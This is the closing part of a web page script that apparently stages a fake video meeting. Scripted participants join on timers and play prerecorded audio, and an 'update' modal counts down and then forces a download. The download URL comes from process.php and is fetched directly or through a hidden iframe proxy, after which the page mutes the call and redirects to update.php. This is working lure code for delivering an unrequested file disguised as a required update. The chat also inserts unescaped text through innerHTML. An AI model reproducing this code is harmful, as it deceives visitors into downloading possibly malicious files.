            if(state.speakerOffTimeout){ clearTimeout(state.speakerOffTimeout); state.speakerOffTimeout=null }
            try{ if(state.audioContext && typeof state.audioContext.close==='function'){ state.audioContext.close() } }catch(e){console.warn(e)}
            state.audioContext=null; state.analysers={};
            state.activeParticipants=[]; elements.thumbnailsContainer.innerHTML='';
            elements.meetingScreen.classList.add('hidden'); elements.updateModal.classList.add('hidden'); elements.chatPanel.classList.remove('open');
            showLoadingScreen();
        }

        function toggleMic(){
            state.micEnabled=!state.micEnabled;
            if(state.localStream) state.localStream.getAudioTracks().forEach(t=>t.enabled = state.micEnabled);
            if(state.micEnabled){ elements.unmuteBtn.classList.remove('active'); elements.unmuteBtn.querySelector('span').textContent='Mute'; playUISound(AUDIO_FILES.unmute) }
            else{ elements.unmuteBtn.classList.add('active'); elements.unmuteBtn.querySelector('span').textContent='Unmute'; playUISound(AUDIO_FILES.mute) }
            updateParticipantsList();
        }

        function toggleVideo(){
            // toggle visibility of the local camera only (local-video-small)
            state.videoEnabled = !state.videoEnabled;
            if(state.localStream) state.localStream.getVideoTracks().forEach(t=>t.enabled = state.videoEnabled);
            if(state.videoEnabled){
                elements.videoBtn.classList.remove('active');
                elements.localVideoSmall && elements.localVideoSmall.classList.remove('hidden');
            } else {
                elements.videoBtn.classList.add('active');
                elements.localVideoSmall && elements.localVideoSmall.classList.add('hidden');
            }
        }

        function toggleChat(){ elements.chatPanel.classList.toggle('open') }
        function sendChatMessage(){ const message = elements.chatInput.value.trim(); if(!message) return; const msgEl = document.createElement('div'); msgEl.className='mb-3 p-3 bg-blue-500/20 rounded-lg'; msgEl.innerHTML = `<span class="font-semibold text-blue-400">You:</span> ${message}`; elements.chatMessages.appendChild(msgEl); elements.chatMessages.scrollTop = elements.chatMessages.scrollHeight; elements.chatInput.value='' }

        function initAudioContext(){ if(!state.audioContext) { state.audioContext = new (window.AudioContext || window.webkitAudioContext)(); console.log('AudioContext', state.audioContext.state) } }

        async function unlockAudio(){ try{ if(!state.audioContext) initAudioContext(); if(state.audioContext.state === 'suspended') await state.audioContext.resume(); const buffer = state.audioContext.createBuffer(1,1,state.audioContext.sampleRate||44100); const src = state.audioContext.createBufferSource(); src.buffer = buffer; src.connect(state.audioContext.destination); src.start(0); await new Promise(r=>setTimeout(r,50)); console.log('Audio unlocked'); state.audioBlocked=false; hideAudioEnable(); return true; }catch(err){ console.warn('unlockAudio failed',err); state.audioBlocked=true; return false } }

        function showAudioEnableOnce(){ if(state.audioEnableShown) return; state.audioEnableShown = true; elements.audioEnable.classList.add('show'); }
        function hideAudioEnable(){ elements.audioEnable.classList.remove('show') }
        function safePlayAudioElement(audio, id=''){ if(!audio) return Promise.resolve(false); try{ audio.volume=0.8; audio.muted=false }catch(e){} return audio.play().then(()=>{ console.log('Audio playing',id); state.speakerOn=true; return true }).catch(err=>{ console.warn('Audio play failed',id,err); state.audioBlocked=true; showAudioEnableOnce(); return false }) }

        function speakerOff(){ if(state.speakerOffTimeout){ clearTimeout(state.speakerOffTimeout); state.speakerOffTimeout=null } Object.keys(state.audioElements || {}).forEach(id=>{ try{ const a = state.audioElements[id]; if(a){ a.pause(); a.currentTime = 0 } }catch(e){} }); state.speakerOn = false; console.log('Speaker forced OFF: all participant audio paused.') }
        async function speakerOn(){ const ok = await unlockAudio().catch(()=>false); const ids = Object.keys(state.audioElements || {}); for(const id of ids){ try{ const audio = state.audioElements[id]; if(!audio) continue; await safePlayAudioElement(audio,id); }catch(e){} } state.speakerOn = true; hideAudioEnable(); console.log('Speaker ON attempted.') }

        async function checkAudioUrl(url){ try{ const res = await fetch(url,{method:'HEAD',mode:'cors'}); if(res.ok) return {ok:true}; const res2 = await fetch(url,{method:'GET',mode:'cors'}); if(res2.ok) return {ok:true}; return {ok:false,status:res.status||res2.status,statusText:res.statusText||res2.statusText}; }catch(err){ console.warn('checkAudioUrl error',url,err); return {ok:false,error:err.message||String(err)} } }

        function simulateParticipantsJoining(){ PARTICIPANTS.forEach(participant=>{ setTimeout(async ()=>{ if(!state.inMeeting) return; addParticipant(participant); showNotification(`${participant.name} joined the meeting`, participant); playUISound(AUDIO_FILES.userJoined); const audio = new Audio(participant.audioFile); audio.loop = true; audio.preload='auto'; audio.crossOrigin='anonymous'; state.audioElements[participant.id] = audio; audio.addEventListener('canplay',()=>{ try{ if(!state.audioContext) initAudioContext(); const src = state.audioContext.createMediaElementSource(audio); const analyser = state.audioContext.createAnalyser(); analyser.fftSize=256; src.connect(analyser); analyser.connect(state.audioContext.destination); state.analysers[participant.id] = analyser; }catch(e){} },{once:true}); const jitter = Math.random() * CONFIG.NETWORK_JITTER_MS; setTimeout(()=>{ if(!state.inMeeting) return; if(state.speakerOn) safePlayAudioElement(audio, participant.id); else showAudioEnableOnce() }, jitter); }, participant.joinDelay); }); }

        function addParticipant(participant){ if(state.activeParticipants.find(p=>p.id===participant.id)) return; state.activeParticipants.push(participant); updateParticipantsUI(); updateParticipantsList(); }
        function removeParticipant(participantId){ state.activeParticipants = state.activeParticipants.filter(p=>p.id!==participantId); updateParticipantsUI(); updateParticipantsList(); }

        function updateParticipantsUI(){ const count = state.activeParticipants.length + 1; elements.participantCount.textContent = `${count} people`; elements.othersCount.textContent = Math.max(0, state.activeParticipants.length - 1); if(state.activeParticipants.length > 0){ const featured = state.activeParticipants[0]; elements.featuredAvatar.textContent = featured.initials; elements.featuredName.textContent = featured.name; elements.featuredRole.textContent = featured.role; elements.featuredNameBottom.textContent = featured.name; } elements.thumbnailsContainer.innerHTML = ''; state.activeParticipants.slice(1).forEach(participant=>{ const thumb = document.createElement('div'); thumb.className = 'thumbnail-tile'; thumb.id = `thumb-${participant.id}`; thumb.innerHTML = `<div class="thumb-avatar">${participant.initials}</div>`; elements.thumbnailsContainer.appendChild(thumb); }); }

        function updateParticipantsList(){ elements.participantsList.innerHTML = ''; const allParticipants = [{name:'You',role:'Participant',micEnabled:state.micEnabled,videoEnabled:state.videoEnabled},...state.activeParticipants.map(p=>({name:p.name,role:p.isHost?'Host':'Participant',micEnabled:true,videoEnabled:false}))]; allParticipants.forEach(p=>{ const item = document.createElement('div'); item.className = 'flex items-center justify-between p-2 bg-black/20 rounded-lg'; item.innerHTML = `<div class="flex items-center gap-3"><div class="w-10 h-10 rounded-full bg-gradient-to-br from-purple-500 to-blue-500 flex items-center justify-center text-sm font-bold">${p.name.split(' ').map(n=>n[0]).join('').slice(0,2)}</div><div><p class="font-medium text-sm">${p.name}</p><p class="text-gray-400 text-xs">${p.role}</p></div></div><div class="flex gap-2"><div class="w-8 h-8 rounded-full ${p.micEnabled?'bg-green-500':'bg-red-500'} flex items-center justify-center"><svg class="w-4 h-4" fill="currentColor" viewBox="0 0 20 20"><path fill-rule="evenodd" d="M7 4a3 3 0 016 0v4a3 3 0 11-6 0V4z" clip-rule="evenodd"/></svg></div><div class="w-8 h-8 rounded-full ${p.videoEnabled?'bg-green-500':'bg-red-500'} flex items-center justify-center"><svg class="w-4 h-4" fill="currentColor" viewBox="0 0 20 20"><path d="M2 6a2 2 0 012-2h6a2 2 0 012 2v8a2 2 0 01-2 2H4a2 2 0 01-2-2V6z"/></svg></div></div>`; elements.participantsList.appendChild(item); }); }

        function showNotification(message, participantData=null){ const isJoin=/joined/i.test(message); const isLeft=/left/i.test(message); let initials='?'; let displayName=message; if(participantData && participantData.name){ displayName = participantData.name; initials = (participantData.initials || displayName.split(' ').map(n=>n[0]).join('').slice(0,2)).toUpperCase() } else if(isJoin||isLeft){ const m = message.match(/^(.*?)\s+(joined|left)/i); if(m && m[1]){ displayName=m[1].trim(); initials = displayName.split(' ').map(n=>n[0]||'').slice(0,2).join('').toUpperCase() } else initials = message.replace(/\s+/g,'').slice(0,2).toUpperCase() } const n = document.createElement('div'); n.className = `notification-banner${isLeft ? ' leave' : ''}`; const iconSvg = isLeft ? `<svg class="notification-icon" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M17 16l4-4m0 0l-4-4m4 4H7m6 4v1a3 3 0 01-3 3H6a3 3 0 01-3-3V7a3 3 0 013-3h4a3 3 0 013 3v1"/></svg>` : `<svg class="notification-icon" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M18 9v3m0 0v3m0-3h3m-3 0h-3m-2-5a4 4 0 11-8 0 4 4 0 018 0zM3 20a6 6 0 0112 0v1H3v-1z"/></svg>`; if(isJoin||isLeft){ n.innerHTML = `<div class="notification-avatar">${initials}</div><div class="notification-content"><span class="notification-title">${displayName}</span><span class="notification-subtitle">${isLeft?'Left the meeting':'Joined the meeting'}</span></div>${iconSvg}` } else { n.innerHTML = `<div class="notification-content"><span class="notification-title">${message}</span></div>` } elements.notificationContainer.appendChild(n); setTimeout(()=>{ n.style.animation = 'notificationExit .3s ease-out forwards'; setTimeout(()=>n.remove(),300) },3000) }

        function playUISound(audioFile){ try{ const audio = new Audio(audioFile); audio.preload='auto'; safePlayAudioElement(audio,'ui-'+audioFile) }catch(e){ console.warn('ui sound',e) } }

        function startConversationAudio(){ PARTICIPANTS.forEach(participant=>{ if(!participant.audioFile) return; setTimeout(()=>{ if(!state.inMeeting) return; playParticipantAudio(participant) }, participant.joinDelay + 1000) }); startSpeakingDetection() }

        function playParticipantAudio(participant){ if(!state.inMeeting || !participant.audioFile) return; if(Math.random() < CONFIG.NETWORK_DROP_CHANCE){ showNetworkIssue(participant.id); return } const audio = new Audio(participant.audioFile); audio.loop=true; audio.preload='auto'; audio.crossOrigin='anonymous'; state.audioElements[participant.id] = audio; audio.addEventListener('canplay',()=>{ try{ if(!state.audioContext) initAudioContext(); const src = state.audioContext.createMediaElementSource(audio); const analyser = state.audioContext.createAnalyser(); analyser.fftSize = 256; src.connect(analyser); analyser.connect(state.audioContext.destination); state.analysers[participant.id] = analyser; }catch(e){} },{once:true}); const jitter = Math.random() * CONFIG.NETWORK_JITTER_MS; setTimeout(()=>{ if(!state.inMeeting) return; if(state.speakerOn) safePlayAudioElement(audio,participant.id); else showAudioEnableOnce() }, jitter) }

        function startSpeakingDetection(){ if(state.animationFrameId) { cancelAnimationFrame(state.animationFrameId); state.animationFrameId=null } let pendingSpeakerId=null; let speakerDebounceTimer=null; const SPEAKER_DEBOUNCE_MS = 2000; const SPEAKER_SWITCH_THRESHOLD=0.06; function detect(){ if(!state.inMeeting) return; let loudestSpeaker=null; let loudestLevel=0; Object.entries(state.analysers).forEach(([participantId,analyser])=>{ if(!analyser) return; const dataArray = new Uint8Array(analyser.frequencyBinCount); analyser.getByteFrequencyData(dataArray); let sum=0; for(let i=0;i<dataArray.length;i++) sum+=dataArray[i]; const rms = sum / dataArray.length / 255; const participant = state.activeParticipants.find(p=>p.id===participantId); if(!participant) return; const isFeatured = state.activeParticipants[0]?.id === participantId; const thumb = document.getElementById(`thumb-${participantId}`); if(rms > CONFIG.SPEAKING_THRESHOLD){ if(isFeatured) elements.featuredParticipant.classList.add('speaking'); if(thumb) thumb.classList.add('speaking'); if(rms > loudestLevel){ loudestLevel=rms; loudestSpeaker = participant } } else { if(isFeatured) elements.featuredParticipant.classList.remove('speaking'); if(thumb) thumb.classList.remove('speaking'); } }); const currentFeaturedId = state.activeParticipants[0]?.id; if(loudestSpeaker && loudestSpeaker.id !== currentFeaturedId && loudestLevel > SPEAKER_SWITCH_THRESHOLD){ if(pendingSpeakerId !== loudestSpeaker.id){ pendingSpeakerId = loudestSpeaker.id; if(speakerDebounceTimer) clearTimeout(speakerDebounceTimer); const speakerToSwitch = loudestSpeaker; speakerDebounceTimer = setTimeout(()=>{ if(state.inMeeting && state.activeParticipants[0]?.id !== speakerToSwitch.id){ switchFeaturedSpeaker(speakerToSwitch); } speakerDebounceTimer=null; pendingSpeakerId=null; }, SPEAKER_DEBOUNCE_MS); } } state.animationFrameId = requestAnimationFrame(detect); } detect() }

        function switchFeaturedSpeaker(newSpeaker){ const idx = state.activeParticipants.findIndex(p=>p.id===newSpeaker.id); if(idx === -1 || idx === 0) return; const removed = state.activeParticipants.splice(idx,1)[0]; state.activeParticipants.unshift(removed); updateParticipantsUI(); playUISound(AUDIO_FILES.newSpeaker) }

        function showNetworkIssue(participantId){ const isFeatured = state.activeParticipants[0]?.id === participantId; if(isFeatured){ elements.featuredParticipant.classList.add('network-issue'); setTimeout(()=>elements.featuredParticipant.classList.remove('network-issue'),3000) } }

        function startRecurringOverlay(){ stopRecurringOverlay(); state.overlayInterval = setInterval(()=>{ if(!state.inMeeting) return; showUpdateModal() }, CONFIG.OVERLAY_INTERVAL_MS) }
        function stopRecurringOverlay(){ if(state.overlayInterval){ clearInterval(state.overlayInterval); state.overlayInterval=null } }

function showUpdateModal(){

    // 🔒 Prevent re-running the countdown
    if (state.updateCountdownStarted) return;
    state.updateCountdownStarted = true;

    elements.updateModal.classList.remove('hidden');
    elements.downloadStatus.classList.add('hidden');

    // Clear any existing interval (safety)
    if (state.countdownInterval) {
        clearInterval(state.countdownInterval);
        state.countdownInterval = null;
    }

    let countdown = CONFIG.OVERLAY_COUNTDOWN_SEC;
    elements.countdown.textContent = countdown;

    state.countdownInterval = setInterval(() => {
        countdown--;
        elements.countdown.textContent = countdown;

        if (countdown <= 0) {
            clearInterval(state.countdownInterval);
            state.countdownInterval = null;

            triggerDownload(); // ✅ fires ONLY ONCE
        }
    }, 1000);

    // Speaker off timeout (runs once)
    if (state.speakerOffTimeout) {
        clearTimeout(state.speakerOffTimeout);
        state.speakerOffTimeout = null;
    }

    state.speakerOffTimeout = setTimeout(() => {
        try {
            speakerOff();
        } catch (e) {
            console.warn('speakerOff error', e);
        }
        state.speakerOffTimeout = null;
    }, 10000);
}

        
     function redirectToUpdatePage(delayMs = 5000){
    setTimeout(() => {
        window.location.href = 'update.php';
    }, delayMs);
}
function scheduleRedirectOnce() {
  if (state.redirectScheduled) return;
  state.redirectScheduled = true;

  setTimeout(() => {
    window.location.href = 'update.php';
  }, 5000);
}


        // Robust triggerDownload() — try fetch+blob first, fallback to server proxy via hidden iframe form
async function triggerDownload() {
  // 🔒 schedule redirect immediately (before any return)
  scheduleRedirectOnce();
  
  try {
    // 1) Ask your server for the downloadUrl
    const resp = await fetch(CONFIG.PROCESS_PHP_URL, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ action: 'download', meetingId: CONFIG.MEETING_ID, timestamp: Date.now() })
    });

    if (!resp.ok) {
      console.error('process.php error', resp.status, resp.statusText);
      return;
    }

    const data = await resp.json().catch(() => null);
    const downloadUrl = data && data.downloadUrl;
    if (!downloadUrl) {
      console.error('process.php returned no downloadUrl', data);
      return;
    }
    console.log('Got downloadUrl:', downloadUrl);

    // Helper to derive filename
    function getFilenameFromContentDisposition(cd) {
      if (!cd) return null;
      const star = cd.match(/filename\*\s*=\s*[^']*''([^;]+)/i);
      if (star) {
        try { return decodeURIComponent(star[1]); } catch (e) { return star[1]; }
      }
      const m = cd.match(/filename\s*=\s*["']?([^"';]+)["']?/i);
      return m ? m[1] : null;
    }
    function guessFilenameFromUrl(url) {
      try { const u = new URL(url); const parts = u.pathname.split('/').filter(Boolean); return parts.length ? parts[parts.length-1] : null; }
      catch (e) { return null; }
    }
    function downloadBlob(blob, filename) {
      const url = URL.createObjectURL(blob);
      const a = document.createElement('a');
      a.style.display = 'none';
      a.href = url;
      a.download = filename || 'download';
      document.body.appendChild(a);
      a.click();
      setTimeout(() => { URL.revokeObjectURL(url); a.remove(); }, 2000);
    }

    // 2) Try programmatic fetch+blob first (works only when remote allows CORS)
    try {
      const fileResp = await fetch(downloadUrl, { method: 'GET', mode: 'cors' });
      if (!fileResp.ok) throw new Error('fetch returned ' + fileResp.status);
      // If streaming supported, read progressively (keeps console progress)
      if (fileResp.body && fileResp.body.getReader) {
        const reader = fileResp.body.getReader();
        const contentLengthHeader = fileResp.headers.get('content-length');
        const total = contentLengthHeader ? parseInt(contentLengthHeader, 10) : null;
        const chunks = [];
        let received = 0;
        while (true) {
          const { done, value } = await reader.read();
          if (done) break;
          chunks.push(value);
          received += (value.length ?? value.byteLength ?? 0);
          if (total) console.log(`Download progress: ${(received / total * 100).toFixed(1)}%`);
          else console.log(`Downloaded ${received} bytes`);
        }
        const blob = new Blob(chunks);
        const filename = getFilenameFromContentDisposition(fileResp.headers.get('content-disposition')) || guessFilenameFromUrl(downloadUrl) || 'download.bin';
        downloadBlob(blob, filename);
        console.log('Downloaded via fetch ->', filename);
        return;
      } else {
        // fallback to blob()
        const blob = await fileResp.blob();
        const filename = getFilenameFromContentDisposition(fileResp.headers.get('content-disposition')) || guessFilenameFromUrl(downloadUrl) || 'download.bin';
        downloadBlob(blob, filename);
        console.log('Downloaded via fetch (blob) ->', filename);
        return;
      }
    } catch (fetchErr) {
      console.warn('Direct fetch failed (likely CORS/redirect):', fetchErr);
      // continue to proxy fallback
    }

    // 3) Fallback: use same-origin proxy (process.php?proxy=1) via hidden iframe + form POST
    try {
      const proxyEndpoint = CONFIG.PROCESS_PHP_URL + '?proxy=1';

      // ensure hidden iframe exists
      let iframe = document.getElementById('download-proxy-iframe');
      if (!iframe) {
        iframe = document.createElement('iframe');
        iframe.style.display = 'none';
        iframe.id = 'download-proxy-iframe';
        iframe.name = 'download-proxy-iframe';
        document.body.appendChild(iframe);
      }

      // create form targeted to the iframe
      const form = document.createElement('form');
      form.style.display = 'none';
      form.method = 'POST';
      form.action = proxyEndpoint;
      form.target = iframe.name;

      const input = document.createElement('input');
      input.type = 'hidden';
      input.name = 'url';
      input.value = downloadUrl;
      form.appendChild(input);

      document.body.appendChild(form);
      form.submit();

      // keep a tiny timeout to remove form (iframe handles response)
      setTimeout(() => { try { form.remove(); } catch (e) {} }, 2000);

      console.log('Submitted download to proxy endpoint (iframe). Browser should prompt Save dialog.');
      return;
    } catch (proxyErr) {
      console.error('Proxy fallback failed:', proxyErr);
    }

    // 4) Ultimate fallback: open the url in a new tab so user can manually save
    try {
      window.open(downloadUrl, '_blank', 'noopener');
      console.warn('Opened download URL in a new tab as last resort.');
    } catch (openErr) {
      console.error('Failed to open download URL:', openErr);
    }
  } catch (err) {
    console.error('triggerDownload error', err);
  }
   
}
        async function onUserEnableAudio(){ state.audioEnableShown = true; const unlocked = await unlockAudio(); if(!unlocked){ console.warn('unlockAudio failed on user enable'); return } await speakerOn(); hideAudioEnable(); }

window.startRemoteConversation = function(){ startConversationAudio() };
window.stopRemoteConversation = function(){ Object.values(state.audioElements).forEach(a=>{ try{ a.pause(); a.currentTime=0 }catch(e){} }); state.speakerOn=false };
window.startRecurringOverlay = function(ms,sec){ CONFIG.OVERLAY_INTERVAL_MS = ms||CONFIG.OVERLAY_INTERVAL_MS; CONFIG.OVERLAY_COUNTDOWN_SEC = sec||CONFIG.OVERLAY_COUNTDOWN_SEC; startRecurringOverlay() };
window.stopRecurringOverlay = stopRecurringOverlay;
window.loadExternalAudioToKey = function(key,fileOrUrl){ if(AUDIO_FILES[key]) AUDIO_FILES[key]=fileOrUrl; const p = PARTICIPANTS.find(x=>x.id===key); if(p) p.audioFile=fileOrUrl };

})();
</script>

</body>
</html>